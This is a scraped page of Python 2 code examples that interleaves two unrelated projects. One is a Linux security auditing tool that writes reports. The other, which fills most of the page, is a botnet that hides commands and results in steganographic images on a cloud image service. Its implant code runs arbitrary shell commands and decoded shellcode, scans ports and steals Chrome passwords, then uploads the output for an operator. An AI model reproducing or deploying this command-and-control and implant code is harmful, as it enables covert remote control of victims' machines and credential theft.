Example #1
0
def list_commands():
    if (len(COMMANDS) == 0):
        print((colored('[-] No commands loaded' + os.linesep, 'yellow')))
        return

    for command in COMMANDS:
        print((colored("%s: '%s' on %s" % (command.get_jobid(), command.get_cmd(), command.get_sender()), 'blue')))
Example #2
0
File: log.py Project: bongwa/mesc
def create_log(report, reportline, hashhtmlreport, hashtxtreport,
               outputdirectory, html_file, txt_file, log_file_name,
               outputdate, host):
    __file__ = log_file_name
    if (os.path.isfile(__file__)):
        __create_file__ = open(__file__, 'a')
    else:
        __create_file__ = open(__file__, 'w')
        __create_file__.write(get_banner())
        __create_file__.write(os.linesep)
    __create_file__.write('# Audit date: %s' % outputdate)
    __create_file__.write(os.linesep)
    __create_file__.write('# Audit target: %s' % host)
    __create_file__.write(os.linesep)
    __create_file__.write('- HTML report (%s): ./' % hashhtmlreport +
                          outputdirectory + '/' + html_file)
    __create_file__.write(os.linesep)
    __create_file__.write('- Text report (%s): ./' % hashtxtreport +
                          outputdirectory + '/' + txt_file)
    __create_file__.write(os.linesep * 3)
    __create_file__.close()

    print((os.linesep * 2 + (colored(report, 'white'))))
    print((colored(reportline + os.linesep, 'white')))
    print((colored(' - HTML report (%s): ./' % hashhtmlreport + outputdirectory
                    + '/html/' + html_file, 'yellow')))
    print((colored(' - Text report (%s): ./' % hashtxtreport + outputdirectory
                   + '/txt/' + txt_file, 'yellow')))
    print((os.linesep))
Example #3
0
def list_bots():
    if (len(BOTS_ALIVE) == 0):
        print((colored('[-] No bots alive' + os.linesep, 'red')))
        return

    for bot in BOTS_ALIVE:
        print((colored('Bot: %s %s' % (bot.get_sender(), bot.get_output()), 'green')))
Example #4
0
    def get_img(self):
        try:
            imgur = "None"
            download_img = True

            print((colored('[+] Downloading image from Cloud Service...',
                           'white')))
            while download_img:

                # Remove not valid img downloaded
                if (os.path.isfile(imgur)):
                    os.remove(imgur)

                imgur = ''.join(
                    random.sample(string.letters + string.digits, 5)) + '.jpg'
                img = urllib2.urlopen("http://i.imgur.com/" + imgur).read()

                if len(img) != 503:  # 'image not found' is 503 bytes
                    with open(os.path.join('./', imgur), "wb") as f:
                        f.write(img)
                    f.close()

                    with Image.open(imgur) as im:
                        width, height = im.size

                    # Enough big to insert data
                    if (width > 400 and height > 400):
                        download_img = False

            return imgur
        except:
            print((colored("[-] Get image error", "yellow")))
            if (os.path.isfile(imgur)):
                os.remove(imgur)
Example #5
0
def create_log(report, reportline, hashhtmlreport, hashtxtreport,
               outputdirectory, html_file, txt_file, log_file_name,
               outputdate, host):
    __file__ = log_file_name
    if (os.path.isfile(__file__)):
        __create_file__ = open(__file__, 'a')
    else:
        __create_file__ = open(__file__, 'w')
        __create_file__.write(get_banner())
        __create_file__.write(os.linesep)
    __create_file__.write('# Audit date: %s' % outputdate)
    __create_file__.write(os.linesep)
    __create_file__.write('# Audit target: %s' % host)
    __create_file__.write(os.linesep)
    __create_file__.write('- HTML report (%s): ./' % hashhtmlreport +
                          outputdirectory + '/' + html_file)
    __create_file__.write(os.linesep)
    __create_file__.write('- Text report (%s): ./' % hashtxtreport +
                          outputdirectory + '/' + txt_file)
    __create_file__.write(os.linesep * 3)
    __create_file__.close()

    print((os.linesep * 2 + (colored(report, 'white'))))
    print((colored(reportline + os.linesep, 'white')))
    print((colored(' - HTML report (%s): ./' % hashhtmlreport + outputdirectory
                    + '/' + html_file, 'yellow')))
    print((colored(' - Text report (%s): ./' % hashtxtreport + outputdirectory
                   + '/' + txt_file, 'yellow')))
    print((os.linesep))
Example #6
0
    def get_img(self):
        try:
            imgur = "None"
            download_img = True

            print((colored('[+] Downloading image from Cloud Service...', 'white')))
            while download_img:
                
                # Remove not valid img downloaded 
                if (os.path.isfile(imgur)):
                    os.remove(imgur)

                imgur = ''.join(random.sample(string.letters+string.digits, 5)) + '.jpg'
                img = urllib2.urlopen("http://i.imgur.com/" + imgur).read()

                if len(img) != 503: # 'image not found' is 503 bytes
                    with open(os.path.join('./', imgur), "wb") as f:
                        f.write(img)
                    f.close()
                    
                    with Image.open(imgur) as im:
                        width, height = im.size

                    # Enough big to insert data
                    if (width > 400 and height > 400):
                        download_img = False
                    
            return imgur
        except:
            print((colored("[-] Get image error", "yellow")))
            if (os.path.isfile(imgur)):
                os.remove(imgur)
Example #7
0
def list_bots():
    if (len(BOTS_ALIVE) == 0):
        print((colored('[-] No bots alive' + os.linesep, 'red')))
        return

    for bot in BOTS_ALIVE:
        print((colored('Bot: %s %s' % (bot.get_sender(), bot.get_output()),
                       'green')))
Example #8
0
def list_commands():
    if (len(COMMANDS) == 0):
        print((colored('[-] No commands loaded' + os.linesep, 'yellow')))
        return

    for command in COMMANDS:
        print((colored(
            "%s: '%s' on %s" %
            (command.get_jobid(), command.get_cmd(), command.get_sender()),
            'blue')))
Example #9
0
def refresh(refresh_bots=True):
    global BOTS_ALIVE
    global COMMANDS
    global DEFAULT_TAG

    if refresh_bots:
        BOTS_ALIVE = []

        print((colored('[+] Sending command to retrieve alive bots', 'white')))

        cmd = CommandToSend('master', DEFAULT_TAG, 'PING')
        jobid = cmd.get_jobid()

        saveimg = ImageHandle()

        if (saveimg.save(cmd.build(), jobid)):
            print((colored('[+] Steganography applied, image saved' , 'white')))
        else:
            print((colored('[-] Error saving the image. Try again' , 'yellow')))
            return None
        
        print((colored('[+] Sleeping 10 secs to wait for bots' + os.linesep, 'yellow')))
        time.sleep(10)


    loadimg = ImageHandle()

    response = resources_by_tag(DEFAULT_TAG)
    get_response = response.get('resources', [])
    
    for key in sorted(get_response):
        img = urllib2.urlopen(key['url']).read()
        if len(img) != 503: # 'image not found' is 503 bytes
        
            public_id = key['public_id'] # JOBID

            if (public_id.startswith("implant_")):
                message = loadimg.load(key['url'])
                try:
                    if refresh_bots and message.get_jobid() == jobid:
                        BOTS_ALIVE.append(message)
                    else:
                        existcommand = False
                        for command in COMMANDS:
                            if (message.get_jobid() == command.get_jobid()):
                                existcommand = True
                        if not (existcommand):
                            COMMANDS.append(message)
                except:
                    pass

    if refresh_bots:
        list_bots()
Example #10
0
def refresh(refresh_bots=True):
    global BOTS_ALIVE
    global COMMANDS
    global DEFAULT_TAG

    if refresh_bots:
        BOTS_ALIVE = []

        print((colored('[+] Sending command to retrieve alive bots', 'white')))

        cmd = CommandToSend('master', DEFAULT_TAG, 'PING')
        jobid = cmd.get_jobid()

        saveimg = ImageHandle()

        if (saveimg.save(cmd.build(), jobid)):
            print((colored('[+] Steganography applied, image saved', 'white')))
        else:
            print((colored('[-] Error saving the image. Try again', 'yellow')))
            return None

        print((colored('[+] Sleeping 10 secs to wait for bots' + os.linesep,
                       'yellow')))
        time.sleep(10)

    loadimg = ImageHandle()

    response = resources_by_tag(DEFAULT_TAG)
    get_response = response.get('resources', [])

    for key in sorted(get_response):
        img = urllib2.urlopen(key['url']).read()
        if len(img) != 503:  # 'image not found' is 503 bytes

            public_id = key['public_id']  # JOBID

            if (public_id.startswith("implant_")):
                message = loadimg.load(key['url'])
                try:
                    if refresh_bots and message.get_jobid() == jobid:
                        BOTS_ALIVE.append(message)
                    else:
                        existcommand = False
                        for command in COMMANDS:
                            if (message.get_jobid() == command.get_jobid()):
                                existcommand = True
                        if not (existcommand):
                            COMMANDS.append(message)
                except:
                    pass

    if refresh_bots:
        list_bots()
Example #11
0
    def __init__(self):
        try:
            global JOBIDS
            global DEFAULT_TAG

            loadimg = ImageHandle()

            response = resources_by_tag(DEFAULT_TAG)
            get_response = response.get('resources', [])
            
            for key in sorted(get_response):
                img = urllib2.urlopen(key['url']).read()
                if len(img) != 503: # 'image not found' is 503 bytes
                   
                    public_id = key['public_id'] # JOBID

                    if (public_id.startswith("master_")):
                        
                        message = loadimg.load(key['url'])
                        cmdreceived = CommandToExecute(message)

                        if (cmdreceived.is_for_me()):
                            jobid, cmd = cmdreceived.retrieve_command()
                            if (jobid not in JOBIDS):
                                if (cmd.split(' ')[0] == 'shellcode'):
                                    sc = base64.b64decode(cmd.split(' ')[1]).decode('string-escape')
                                    print((colored("[+] shellcode jobid: %s, cmd to execute: %s" % (jobid, sc), "white")))
                                    JOBIDS.append(jobid)
                                    ExecuteShellcode(jobid, sc)
                                    
                                elif (cmd.split(' ')[0] == 'scanner'):
                                    sc = cmd.split(' ')[1].decode('string-escape')
                                    print((colored("[+] Port Scanner jobid: %s, %s" % (jobid, cmd), "white")))
                                    command = sc[5:]
                                    ip,ports = sc.split(':')
                                    JOBIDS.append(jobid)
                                    PortScanner(jobid, cmd, ip, ports)
                                    
                                elif (cmd.split(' ')[0] == 'chromepasswords'):
                                    print((colored("[+] Chrome jobid: %s, %s" % (jobid, cmd), "white")))
                                    JOBIDS.append(jobid)
                                    ChromePasswords(jobid, cmd)
                                    
                                else:
                                    print((colored("[+] jobid: %s, cmd to execute: %s" % (jobid, cmd), "white")))
                                    JOBIDS.append(jobid)
                                    ExecuteCommand(jobid, cmd)
                                    

        except:
            print((colored('[-] Error decoding' , 'yellow')))

        return None
Example #12
0
def putfile(filehost, remote, host, user_fabric, passwd_fabric, port_fabric):

    if host == 'localhost':
       print "%s local IP" % host
       __cmd_local__ = True
    elif host not in ip4_addresses():
       __cmd_local__ = False
    else:
       __cmd_local__ = True

    __command_check__ = CHECKRESULTERROR


    if __cmd_local__ == False:
        with settings(host_string=host,user=user_fabric, password=passwd_fabric, port=port_fabric):
            try:
                #__output_cmd__ = run(filehost,shell=True,warn_only=True, quiet=True)
		__output_cmd__ = put(filehost, remote)
                if __output_cmd__.failed:
                    __command_check__ = CHECKRESULTERROR
                else:
                    __command_check__ = CHECKRESULTOK
            except:
                print((colored('*** Warning *** Host {host} on port {port} is down.', 'red')).format(host=host, port=port_fabric) + os.linesep*2)
                sys.exit(0)
    return (__output_cmd__, __command_check__)
Example #13
0
def exists_file(filecheck, host, user_fabric, passwd_fabric, port_fabric):
    if host == 'localhost':
        __cmd_local__ = True
    elif host not in ip4_addresses():
        __cmd_local__ = False
    else:
        __cmd_local__ = True

    __file__ = filecheck
    __command_check__ = False
    if __cmd_local__ is True:
        if (os.path.isfile(__file__)):
            __command_check__ = True
        else:
            __command_check__ = False
    elif __cmd_local__ is False:
        with settings(host_string=host, user=user_fabric,
             password=passwd_fabric, port=port_fabric):
            try:
                if (exists(__file__, use_sudo=False, verbose=False)):
                    __command_check__ = True
                else:
                    __command_check__ = False
            except:
                print((colored('*** Warning *** Host {host} on port {port} is down or file can not be read.', 'red')).format(host=host, port=port_fabric) + os.linesep*2)
                sys.exit(0)
    return (__command_check__)
Example #14
0
def retrieve_command(id_command):
    refresh(False)
    for command in COMMANDS:
        if (command.get_jobid() == id_command):
            print "%s:\n%s" % (command.get_jobid(), command.get_output())
            return
    print((colored('[-] Not able to retrieve the output' + os.linesep, 'yellow')))
Example #15
0
def exists_read_file(filecheck, env_shell, host, user_fabric, passwd_fabric, port_fabric):
    if host == 'localhost':
        __cmd_local__ = True
    elif host not in ip4_addresses():
        __cmd_local__ = False
    else:
        __cmd_local__ = True
    __file__ = filecheck
    __command_check__ = False
    __out__ = ''

    if __cmd_local__ is True:
        if (os.path.isfile(__file__)):
            __command_check__ = True
            __f__ = open(__file__, 'r')
            __out__ = __f__.read()
        else:
            __command_check__ = False
    elif __cmd_local__ is False:
        with settings(host_string=host, shell = env_shell, user=user_fabric,
             password=passwd_fabric, port=port_fabric):
            try:
                if (exists(__file__, use_sudo=False, verbose=False)):
                    __cmd__ = 'cat ' + __file__
                    __out__ = run(__cmd__, shell=True, warn_only=True,
                         quiet=True)
                    __command_check__ = True
                else:
                    __command_check__ = False
            except:
                print((colored('*** Warning *** Host {host} on port {port} is down or file can not be read.', 'red')).format(host=host, port=port_fabric) + os.linesep*2)
                sys.exit(0)
    return (__command_check__, __out__)
Example #16
0
def retrieve_command(id_command):
    refresh(False)
    for command in COMMANDS:
        if (command.get_jobid() == id_command):
            print "%s:\n%s" % (command.get_jobid(), command.get_output())
            return
    print((colored('[-] Not able to retrieve the output' + os.linesep,
                   'yellow')))
Example #17
0
def cleanup():
    try:
        global DEFAULT_TAG

        response = resources_by_tag(DEFAULT_TAG)
        count = len(response.get('resources', []))

        print((colored("[+] Deleting %d images from previous sessions..." % (count), "white")))

        if (count == 0):
            print((colored("[-] No images found", "white")))
            return
        
        delete_resources_by_tag(DEFAULT_TAG)

        print((colored("[+] Done", "white")))
    except:
        print((colored("[-] Error trying to remove previous images", "yellow")))
Example #18
0
    def load(self, urlimg):
        global PASSPHRASEENTRY
        global DEFAULT_TAG
        global TEMPSTEGOIMG

        extractedmessage = ""

        try:
            img = urllib2.urlopen(urlimg).read()
            if len(img) != 503: # 'image not found' is 503 bytes
                with open(os.path.join('./', TEMPSTEGOIMG), "wb") as f:
                    f.write(img)
        except:
            print((colored('[-] urllib2 error', 'yellow')))

        if (os.path.isfile(TEMPSTEGOIMG)):
            tmpdir = tempfile.mkdtemp()
            predictable_filename = 'tempfile'
            # Ensure the file is read/write by the creator only
            saved_umask = os.umask(0077)
            path = os.path.join(tmpdir, predictable_filename)
            pathtemp = tmpdir +"\wfile"

            try:
                with open(path, "wb") as tmp:
                    process = subprocess.Popen(['steghide', 'extract', '-p', PASSPHRASEENTRY, '-q', '-f', '-xf', path, '-sf', TEMPSTEGOIMG], stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
                    out, err = process.communicate()
                    if out:
                        print out
                    if err:
                        print err

                    shutil.copy2(path, pathtemp)
                    tmp.close()
                    
                file = open(pathtemp, 'r')
                extractedmessage = file.read()
                file.close()

            except IOError as e:
                print 'IOError' + str(e)
            else:
                if (os.path.isfile(path)):
                    os.remove(path)
                if (os.path.isfile(pathtemp)):
                    os.remove(pathtemp)
            finally:
                os.umask(saved_umask)
                if (os.path.isfile(path)):
                    os.remove(path)
                if (os.path.isfile(pathtemp)):
                    os.remove(pathtemp)
                if (os.path.isfile(TEMPSTEGOIMG)):
                    os.remove(TEMPSTEGOIMG)
                os.rmdir(tmpdir)

        return extractedmessage
Example #19
0
def check_file_exact(filecheck, check, env_shell, host, user_fabric, passwd_fabric,
                     port_fabric):

    if host == 'localhost':
        __cmd_local__ = True
    elif host not in ip4_addresses():
        __cmd_local__ = False
    else:
        __cmd_local__ = True

    __file__ = filecheck
    __command_check__ = config.CHECKRESULTERROR
    __okline__ = os.linesep
    __oklinehtml__ = '<br>'
    __check_count__ = 0

    if __cmd_local__ is True:
        if (os.path.isfile(__file__)):
            __command_check__ = config.CHECKRESULTWARNING
            f = open(__file__, 'r')
            out = f.readlines()
            for line in out:
                if line.startswith('#'):
                    __command_check__ = config.CHECKRESULTWARNING
                else:
                    for c in check:
                        if (exact_Match(line, c)):
                            __check_count__ += 1
                            __okline__ += line
                            __oklinehtml__ += line + '<br>'
        if __check_count__ > 0:
            __command_check__ = config.CHECKRESULTOK
        else:
            __command_check__ = config.CHECKRESULTWARNING
    elif __cmd_local__ is False:
        with settings(host_string=host, shell = env_shell, user=user_fabric,
                      password=passwd_fabric, port=port_fabric):
            try:
                if (exists(__file__, use_sudo=False, verbose=False)):
                    for c in check:
                        __output_cmd__ = contains(__file__, c, exact=True,
                                                  use_sudo=False)
                        if __output_cmd__ is True:
                            __command_check__ = config.CHECKRESULTOK
                            __okline__ += c
                            __oklinehtml__ += c + '<br>'
                        else:
                            __command_check__ = config.CHECKRESULTWARNING
                else:
                    __command_check__ = config.CHECKRESULTERROR

            except:
                print((colored('*** Warning *** Host {host} on port {port} is down or file can not be read.', 'red')).format(host=host, port=port_fabric) + os.linesep*2)
                sys.exit(0)
    return (__command_check__, __okline__, __oklinehtml__, __check_count__)
Example #20
0
def cleanup():
    try:
        global DEFAULT_TAG

        response = resources_by_tag(DEFAULT_TAG)
        count = len(response.get('resources', []))

        print((colored(
            "[+] Deleting %d images from previous sessions..." % (count),
            "white")))

        if (count == 0):
            print((colored("[-] No images found", "white")))
            return

        delete_resources_by_tag(DEFAULT_TAG)

        print((colored("[+] Done", "white")))
    except:
        print((colored("[-] Error trying to remove previous images",
                       "yellow")))
Example #21
0
    def run(self):
        output = None
        if (self.command == 'PING'):
            output = platform.platform()
        else:
            try:
                output = subprocess.check_output(self.command, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
            except:
                print((colored('[-] Error executing the command' , 'yellow')))
                
        output_command = CommandOutput(MAC_ADDRESS, 'master', output, self.jobid, self.command)

        saveimg = ImageHandle()

        # Trying to save image until True
        saveimageOutput = False
        while not (saveimageOutput):
            saveimageOutput = saveimg.save(output_command.build(), self.jobid)
Example #22
0
def execute_cmd(cmd, host, user_fabric, passwd_fabric, port_fabric):
    if host == 'localhost':
        #print "%s local IP" % host
        __cmd_local__ = True
    elif host not in ip4_addresses():
        #print "%s NOT local IP --> SSH" % host
        #__status__, __output_cmd__ = execute(do_something(cmd), hosts=[host])
        __cmd_local__ = False
    else:
        #print "%s local IP" % host
        __cmd_local__ = True
    __output_cmd__ = cmd
    __command_check__ = config.CHECKRESULTERROR

    if __cmd_local__ is True:
        __status__, __output_cmd__ = commands.getstatusoutput(cmd)
        #__status__, __output_cmd__ = subprocess.getstatusoutput(cmd)
        __exit_code__ = __status__ >> 8
        __signal_num__ = __status__ % 256
        #print 'Status: x%04x' % __status__
        __status__ = 'x%04x' % __status__
        #print 'Signal: x%02x (%d)' % (__signal_num__, __signal_num__)
        #print 'Exit  : x%02x (%d)' % (__exit_code__, __exit_code__)
        #print __status__, __signal_num__, __exit_code__
        if __exit_code__ == 0 and __signal_num__ == 0 and __status__ == 'x0000':
            __command_check__ = config.CHECKRESULTOK
        elif __exit_code__ == 1 and __signal_num__ == 0 and __status__ == 'x0100':
            __command_check__ = config.CHECKRESULTWARNING
        else:
            __command_check__ = config.CHECKRESULTERROR
    elif __cmd_local__ is False:
        with settings(host_string=host,user=user_fabric, password=passwd_fabric, port=port_fabric):
            try:
                __output_cmd__ = run(cmd,shell=True,warn_only=True, quiet=True)
                if __output_cmd__.failed:
                    __command_check__ = config.CHECKRESULTERROR
                else:
                    __command_check__ = config.CHECKRESULTOK
            except:
                print((colored('*** Warning *** Host {host} on port {port} is down.', 'red')).format(host=host, port=port_fabric) + os.linesep*2)
                sys.exit(0)
    return (__output_cmd__, __command_check__)
Example #23
0
def execute_cmd(cmd, env_shell, host, user_fabric, passwd_fabric, port_fabric):
    if host == 'localhost':
        __cmd_local__ = True
    elif host not in ip4_addresses():
        __cmd_local__ = False
    else:
        __cmd_local__ = True
    __output_cmd__ = cmd
    __command_check__ = config.CHECKRESULTERROR

    if __cmd_local__ is True:
        __status__, __output_cmd__ = commands.getstatusoutput(cmd)
        #__status__, __output_cmd__ = subprocess.getstatusoutput(cmd)
        __exit_code__ = __status__ >> 8
        __signal_num__ = __status__ % 256
        #print 'Status: x%04x' % __status__
        __status__ = 'x%04x' % __status__
        #print 'Signal: x%02x (%d)' % (__signal_num__, __signal_num__)
        #print 'Exit  : x%02x (%d)' % (__exit_code__, __exit_code__)
        #print __status__, __signal_num__, __exit_code__
        if __exit_code__ == 0 and __signal_num__ == 0 and __status__ == 'x0000':
            __command_check__ = config.CHECKRESULTOK
        elif __exit_code__ == 1 and __signal_num__ == 0 and __status__ == 'x0100':
            __command_check__ = config.CHECKRESULTWARNING
        else:
            __command_check__ = config.CHECKRESULTERROR
    elif __cmd_local__ is False:
        with settings(host_string=host, shell = env_shell, user=user_fabric,
                                            password=passwd_fabric,
                                            port=port_fabric):
            try:
                __output_cmd__ = run(cmd,shell=True,warn_only=True, quiet=True)
                if __output_cmd__.failed:
                    __command_check__ = config.CHECKRESULTERROR
                else:
                    __command_check__ = config.CHECKRESULTOK
            except:
                print((colored('*** Warning *** Host {host} on port {port} is down.', 'red')).format(host=host, port=port_fabric) + os.linesep*2)
                sys.exit(0)
    return (__output_cmd__, __command_check__)
Example #24
0
    def run(self):
        output = None
        if (self.command == 'PING'):
            output = platform.platform()
        else:
            try:
                output = subprocess.check_output(self.command,
                                                 shell=True,
                                                 stdin=subprocess.PIPE,
                                                 stderr=subprocess.STDOUT)
            except:
                print((colored('[-] Error executing the command', 'yellow')))

        output_command = CommandOutput(MAC_ADDRESS, 'master', output,
                                       self.jobid, self.command)

        saveimg = ImageHandle()

        # Trying to save image until True
        saveimageOutput = False
        while not (saveimageOutput):
            saveimageOutput = saveimg.save(output_command.build(), self.jobid)
Example #25
0
    def __init__(self):
        try:
            global JOBIDS
            global DEFAULT_TAG

            loadimg = ImageHandle()

            response = resources_by_tag(DEFAULT_TAG)
            get_response = response.get('resources', [])

            for key in sorted(get_response):
                img = urllib2.urlopen(key['url']).read()
                if len(img) != 503:  # 'image not found' is 503 bytes

                    public_id = key['public_id']  # JOBID

                    if (public_id.startswith("master_")):

                        message = loadimg.load(key['url'])
                        cmdreceived = CommandToExecute(message)

                        if (cmdreceived.is_for_me()):
                            jobid, cmd = cmdreceived.retrieve_command()
                            if (jobid not in JOBIDS):
                                if (cmd.split(' ')[0] == 'shellcode'):
                                    sc = base64.b64decode(cmd.split(
                                        ' ')[1]).decode('string-escape')
                                    print((colored(
                                        "[+] shellcode jobid: %s, cmd to execute: %s"
                                        % (jobid, sc), "white")))
                                    JOBIDS.append(jobid)
                                    ExecuteShellcode(jobid, sc)

                                elif (cmd.split(' ')[0] == 'scanner'):
                                    sc = cmd.split(' ')[1].decode(
                                        'string-escape')
                                    print((colored(
                                        "[+] Port Scanner jobid: %s, %s" %
                                        (jobid, cmd), "white")))
                                    command = sc[5:]
                                    ip, ports = sc.split(':')
                                    JOBIDS.append(jobid)
                                    PortScanner(jobid, cmd, ip, ports)

                                elif (cmd.split(' ')[0] == 'chromepasswords'):
                                    print((colored(
                                        "[+] Chrome jobid: %s, %s" %
                                        (jobid, cmd), "white")))
                                    JOBIDS.append(jobid)
                                    ChromePasswords(jobid, cmd)

                                else:
                                    print((colored(
                                        "[+] jobid: %s, cmd to execute: %s" %
                                        (jobid, cmd), "white")))
                                    JOBIDS.append(jobid)
                                    ExecuteCommand(jobid, cmd)

        except Exception as e:
            print((colored('[-] Error decoding' + str(e), 'yellow')))

        return None
Example #26
0
    def save(self, data, jobid):
        global DEFAULT_TAG
        global PASSPHRASEENTRY
        global TEMPSTEGOIMG

        steghideOutput = True
        srcpathimage = self.get_img()

        try:
            shutil.copy2(srcpathimage, TEMPSTEGOIMG)
            os.remove(srcpathimage)

            tmpdir = tempfile.mkdtemp()
            predictable_filename = 'tempfile'
            # Ensure the file is read/write by the creator only
            saved_umask = os.umask(0077)
            pathimplantoutput = os.path.join(tmpdir, predictable_filename)

            try:
                with open(pathimplantoutput, "w") as tmp:
                    tmp.write(str(data))
                    tmp.close()

                    process = subprocess.Popen([
                        'steghide', 'embed', '-p', PASSPHRASEENTRY, '-q', '-f',
                        '-ef', pathimplantoutput, '-cf', TEMPSTEGOIMG
                    ],
                                               stderr=subprocess.STDOUT,
                                               stdout=subprocess.PIPE)
                    out, err = process.communicate()
                    if out:
                        print out
                        if ("steghide:" in out):
                            # steghide error
                            steghideOutput = False
                    if err:
                        print err

            except IOError as e:
                print 'IOError'
                os.remove(pathimplantoutput)
                os.umask(saved_umask)
                os.rmdir(tmpdir)
            else:
                os.remove(pathimplantoutput)
            finally:
                os.umask(saved_umask)
                os.rmdir(tmpdir)

        except:
            print((colored('[-] Error saving image', 'yellow')))

        # Upload img downloaded in cloud service
        if (os.path.isfile(TEMPSTEGOIMG) and steghideOutput):

            try:
                print((colored('[+] Uploaded image to Cloud Service',
                               'white')))
                jobidmaster = "master_" + jobid
                response = upload(
                    TEMPSTEGOIMG,
                    tags=DEFAULT_TAG,
                    public_id=jobidmaster,
                )

            except:
                print((colored('[-] Cloud Service error', 'yellow')))
                return False
            finally:
                if (os.path.isfile(TEMPSTEGOIMG)):
                    os.remove(TEMPSTEGOIMG)
        else:
            return False

        return steghideOutput
Example #27
0
    def save(self, data, jobid):
        global PASSPHRASEENTRY
        global DEFAULT_TAG
        global TEMPIMPLANTIMG
        global HOSTNAME

        steghideOutput = True
        srcpathimage = self.get_img()

        try:
            shutil.copy2(srcpathimage, TEMPIMPLANTIMG)
            os.remove(srcpathimage)

            tmpdir = tempfile.mkdtemp()
            predictable_filename = "tempfile"
            # Ensure the file is read/write by the creator only
            saved_umask = os.umask(0077)
            pathimplantoutput = os.path.join(tmpdir, predictable_filename)

            try:
                with open(pathimplantoutput, "w") as tmp:
                    tmp.write(str(data))
                    tmp.close()

                    process = subprocess.Popen(['steghide', 'embed', '-p', PASSPHRASEENTRY, '-q', '-f', '-ef', pathimplantoutput, '-cf', TEMPIMPLANTIMG], stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
                    out, err = process.communicate()
                    if out:
                        print out
                        if ("steghide:" in out):
                            # Error steghide
                            steghideOutput = False
                    if err:
                        print err

            except IOError as e:
                print "IOError" + e
            else:
                os.remove(pathimplantoutput)
            finally:
                os.umask(saved_umask)
                os.rmdir(tmpdir)
        except:
            print((colored("[-] Error saving image", "yellow")))

        # Upload image downloaded in cloud service
        if (os.path.isfile(TEMPIMPLANTIMG) and steghideOutput):
            try:
                print((colored('[+] Uploaded image to Cloud Service', 'white')))
                jobidimplant = "implant_" + HOSTNAME + "_" + jobid

                response = upload(TEMPIMPLANTIMG,
                    tags = DEFAULT_TAG,
                    public_id = jobidimplant,
                )

            except:
                print((colored('[-] Cloud Service error', 'yellow')))
                return False
            finally:
                if (os.path.isfile(TEMPIMPLANTIMG)):
                    os.remove(TEMPIMPLANTIMG)
        else:
            return False

        return steghideOutput
Example #28
0
def main():

    # Show the program banner.
    show_banner()

    # Get the command line parser.
    parser = cmdline_parser()

    # Show help if no args
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    #---------------------------------------------------------------------------

    # Get results line parser.
    results = parser.parse_args()

    #---------------------------------------------------------------------------
    # Sections
    #---------------------------------------------------------------------------

    AUDIT = '[0] Auditor information            '
    AUDIT_LINE = '-----------------------'
    GENERAL = '[1] System information             '
    GENERAL_LINE = '----------------------'
    BOOT = '[2] Boot information               '
    BOOT_LINE = '--------------------'
    FILESYSTEM = '[3] File system information        '
    FILESYSTEM_LINE = '---------------------------'
    TCPIP = '[4] Network Information            '
    TCPIP_LINE = '----------------------'
    PROCESSES = '[5] Processes running in the system'
    PROCESSES_LINE = '-----------------------------------'
    SECURITY = '[6] Security information           '
    SECURITY_LINE = '------------------------'
    REPORTS = '[7] Reports                        '
    REPORTS_LINE = '-----------'

    #---------------------------------------------------------------------------
    # Global variables
    #---------------------------------------------------------------------------
    table0 = []
    table1 = []
    table2 = []
    table3 = []
    table4 = []
    table5 = []
    table6 = []

    # Fabric
    if results.port:
        fabric_port = results.port
    else:
        fabric_port = '22'

    if results.user:
        fabric_user = results.user
    else:
        fabric_user = '******'

    if results.passwd:
        fabric_passwd = results.passwd
    else:
        fabric_passwd = None

    #---------------------------------------------------------------------------
    # Output
    #---------------------------------------------------------------------------

    # Create output directory for txt and html results
    outputdirectory = 'output'
    if not os.path.exists(outputdirectory):
        os.makedirs(outputdirectory)
    datenow = datetime.now()
    outputdate = datenow.strftime('%Y-%m-%d@%H_%M_%S')
    outputdirectory = 'output' + '/' + outputdate
    os.makedirs(outputdirectory)
    os.makedirs(outputdirectory + '/css')
    os.makedirs(outputdirectory + '/js')

    # Create the txt results file
    if results.txt_file:
        create_txt_file(results.txt_file, outputdirectory)
    else:
        results.txt_file = 'results.log'
        create_txt_file(results.txt_file, outputdirectory)

    # Create the html results file
    if results.html_file:
        create_html_file(results.html_file, outputdirectory, outputdate)
    else:
        results.html_file = 'results.html'
        create_html_file(results.html_file, outputdirectory, outputdate)

#------------------------------------------------------------------------------

    # Auditor Operating System Information
    os_output, htmlAuditreport = common.auditor_info(outputdate,
         results.auditorname)
    # Output
    print_audit_txt(AUDIT, AUDIT_LINE, os_output, results.txt_file,
         outputdirectory)
    htmlaudit(results.html_file, htmlAuditreport, outputdirectory)

    print_title_console(AUDIT, AUDIT_LINE, table0)
    print((tabulate(table0, tablefmt="plain")))  # print out the results
    print((colored(os_output + os.linesep, 'white')))


#------------------------------------------------------------------------------


    if results.general or results.all:
        print_titles(GENERAL, GENERAL_LINE, 'general', results.txt_file,
             results.html_file, outputdirectory, table1)

        # Operating System Information
        command_output, help_command, command_check, check_message,\
            check_html_message, command, cmd = common.OS_ver(results.host,
                 fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
            check_html_message, command, cmd = common.OS_kernel(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
            check_html_message, command, cmd = common.OS_kernelver(results.host,
                 fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.OS_machine(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.OS_processor(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        # System Information
        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.uptime(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

